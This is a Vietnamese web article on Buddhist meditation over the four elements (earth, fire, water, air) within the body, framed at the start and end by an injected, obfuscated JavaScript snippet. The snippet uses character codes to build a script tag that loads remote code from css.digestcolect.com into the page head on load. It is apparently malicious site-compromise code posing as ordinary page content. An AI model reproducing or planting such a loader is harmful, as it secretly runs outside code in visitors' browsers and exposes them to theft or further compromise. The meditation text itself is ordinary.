Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Quán chiếu tứ đại trong cơ thể

Cơ thể ta được cấu tạo bởi bốn đại (mahabhuta): đất, nước, lửa và không khí. Con người cũng vậy, xác thân mượn tạm tứ đại mà đến, hết một kiếp người rồi trả về tứ đại. Bài viết này, Jade House chia sẻ đôi nét về tứ đại trong cơ thể, mới quý độc giả đón nhận!

Tứ đại trong cơ thể thứ nhất: Đất

Ta có thể nhìn vào cơ thể của mình và nhận diện những yếu tố căn bản làm ra cơ thể ấy. ” Thở vào, ta ý thức về yếu tố đất trong cơ thể ta. Thở ra, ta mỉm cười với yếu tố đất trong cơ thể ta.”

Yếu tố đất là các yếu tố rắn chắc trong cơ thể ta, biểu hiện thành xương, cơ, dây chằng, gân…. Nếu nhận diện được yếu tố đất trong ta thì ta cũng nhận diện được yếu tố đất ngoài ta. Ta biết rằng cả hai đều thuộc về đất. Yếu tố đất trong ta và ngoài ta luôn luôn có sự trao đổi mật thiết qua nhiều hình thức. Sự trao đổi xảy ra trong từng giây phút của đời sống hàng ngày.

Tứ đại trong cơ thể thứ hai: Lửa

”Thở vào, ta ý thức về yếu tố lửa trong cơ thể ta. Thở ra, ta mỉm cười với yếu tố lửa trong cơ thể ta.” Lửa là hơi ấm, nhiệt lượng biểu hiện thành thân nhiệt, hơi ấm của lòng bàn tay, bàn chân…. Ta biết rằng sự sống được làm bằng nhiệt lượng – chất cháy. Ví dụ khi ta đưa vào cơ thể dưỡng khí (oxygen) thì dưỡng khí biến thành nhiệt lượng đốt cháy. Quá trình này xảy ra từng sát-na trong cơ thể ta. Nhờ quá trình đốt cháy nhiệt lượng đó, sự sống mới hình thành. Sống và chết cũng xảy ra liên tục trong mỗi phút giây.

Trong cơ thể ta, mỗi giây có hàng triệu tế bào chết đi và hàng triệu tế bào được sinh sản. Nếu không có chết thì làm sao có sống. Nhìn kỹ vào thực tại, ta sẽ thấy trong diệt có sinh và trong sinh có diệt. Sống và chết tương tức. Nếu ta lấy cái chết ra khỏi cái sống, thì sự sống sẽ không có mặt, sẽ sụp đổ. Nếu ta lấy cái sống ra khỏi cái chết, thì sự chết sẽ sụp đổ. Như ví dụ của một bông hoa, mây và ánh nắng mặt trời- nhìn vào bông hoa ta thấy yếu tố mây và ánh nắng. Ta phải tập nhìn để thấy được tính tương tức của các pháp. Ta thường bị kẹt vào cái nhìn nhị nguyên, phân biệt. Ta nghĩ rằng cái chết là kẻ thù của sự sống.

Tất cả chúng ta, dù là người tu tập thiền hay nhà nghiên cứu khoa học, bất kể nhìn với phương tiện nào đi chăng nữa, ta cũng phải nhìn để thấy cho được trong cái sống có chứa đựng cái chết và ngược lại. Không có cái này thì không có cái kia. Nếu nghĩ rằng ta chỉ muốn chọn cái này thôi, không muốn chọn cái kia, thì đó là một thái độ quá ngây thơ.

Nhìn kỹ vào những yếu tố trong cơ thể, ta thấy rằng sống và chết tương tức, chúng nương nhau mà biểu hiện. Tới đây ta bắt đầu thấy được sự mầu nhiệm của thực tại mà trước đó ta chưa bao giờ thấy. Nhờ nhìn sâu và hiểu được bản chất chân thực của thực tại, ta có thể xua tan được sự sợ hãi, buồn khổ, cô đơn và tuyệt vọng trong ta.

Ta biết rằng khổ đau, sợ hãi, cô đơn và tuyệt vọng chỉ có thể tung hoành trên căn bản của vô minh. Ví dụ như cây bút chì này, ta nghĩ rằng đầu này là đầu trái, không phải là đầu phải. Nếu mình là một nhà chính trị thuộc về phe tả, mình sẽ chọn phe tả và muốn loại trừ phe hữu. Nhưng chỉ muốn có trái mà không có phải, thì đó là một điều thật phi lý.

Giả sử mình muốn loại trừ bên phải, mình lấy con dao chặt cây bút chì ra. Nhưng sau khi chặt đầu bên phải của cây bút chì đi, thì đầu bên phải của cây bút chì có thật sự bị triệt tiêu hay không hay nó vẫn tiếp tục là đầu bên phải? Thực ra hể có trái thì tất nhiên có phải; trái có mặt thì phải có mặt. Cái nhìn của ta thường bị kẹt vào thế lưỡng nguyên, đối đãi và phân biệt. Ta phải tập nhìn với con mắt bất nhị, không phân biệt, không kỳ thị thì mới chạm tới được thực tại chân thực của sự sống.

Tứ đại trong cơ thể thứ ba: Nước

”Thở vào, ta thấy yếu tố nước trong cơ thể ta. Thở ra, ta mỉm cười với yếu tố nước trong cơ thể ta.” Hai chữ ”vào” và ”ra” cũng là một cặp đối đãi. Yếu tố nước là chất dịch, lỏng, có tính kết dính biểu hiện thành máu, nước mắt, nước bọt, dịch vị, dịch khớp… Mặt trời là trái tim thứ hai của ta. Lúc xưa ta thường hay nghĩ rằng mình chỉ có một trái tim thôi, đó là trái tim trong cơ thể của mình. Nếu bất chợt trái tim trong mình ngưng hoạt động thì mình sẽ chết. Nhưng nhìn kỹ lại, ta thấy rằng nếu trái tim ngoài ta, tức là mặt trời bị tan vỡ, thì ta cũng bị tan vỡ theo.

Trái tim thứ hai của ta nằm ngoài ta. Ta có thể nghĩ rằng buồng phổi của ta chỉ có mặt trong ta, nhưng kỳ thực núi rừng và cây cỏ chung quanh ta cũng là buồng phổi ta. Nếu chúng ngưng hoạt động thì ta sẽ không có dưỡng khí để thở. Ta có buồng phổi bên trong nhưng cũng có buồng phổi bên ngoài. Nếu nhận diện và nhìn sâu vào bốn yếu tố bên trong và bên ngoài của cơ thể, ta sẽ tiếp xúc được với tính tương tức của chúng và ý niệm về cơ thể là một thực thể biệt lập, thường còn và bất biến của mình sẽ bị tan biến.

Ý niệm về ngã được đồng hóa với cơ thể cũng sẽ tan biến. Ta phải nhìn vào thực tại bằng con mắt bất nhị, vô phân biệt mới chuyển hóa được cái ảo tưởng của ta về thực tại. Và ta tiếp xúc được với cảnh giới niết bàn, của không sinh không diệt. Phải thấy cho được rằng ngã được làm bằng những yếu tố không phải ngã (phi ngã).

Tứ đại trong cơ thể thứ tư: Không khí

Không khí là yếu tố tượng trưng cho sự chuyển động, là không khí biểu hiện thành hơi thở vào, thở ra …

Trong mỗi phút mỗi giây, ta đều trao đổi không khí giữa cơ thể với môi trường xung quanh, ta gọi đó là hoạt động hít thở. Hơi thở có thể hiện diện trong ý thức hoặc vô thức, mọi lúc mọi nơi, từng giây từng phút. Hơi thở là điều kiện tiên quyết để duy trì sự sống.

Trong hoạt động hít thở này, dưỡng khí oxi (O2) được đưa vào và thán khí cacbonic (CO2) được loại ra khỏi cơ thể. Mặc dù thở là một động tác không chủ động, nhưng con người có thể cố tình thay đổi nhịp thở vì nhu cầu nào đó, ví dụ khi chạy nhanh, cơ thể cần nhiều khí oxi (O2) hơn nên chúng ta thở gấp hơn. Nhịp thở nhanh chậm tùy theo nhu cầu ô-xi của cơ thể và cũng tùy theo sự tích tụ thán khí cao hay thấp, chẳng hạn khi leo núi, ở độ cao càng lớn thì lượng oxi (O2) càng ít (không khí loãng hơn) nên chúng ta cần tăng cường hơi thở nhằm có đủ oxi (O2).

(Dunji, Sưu tầm và biên soạn)

 

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();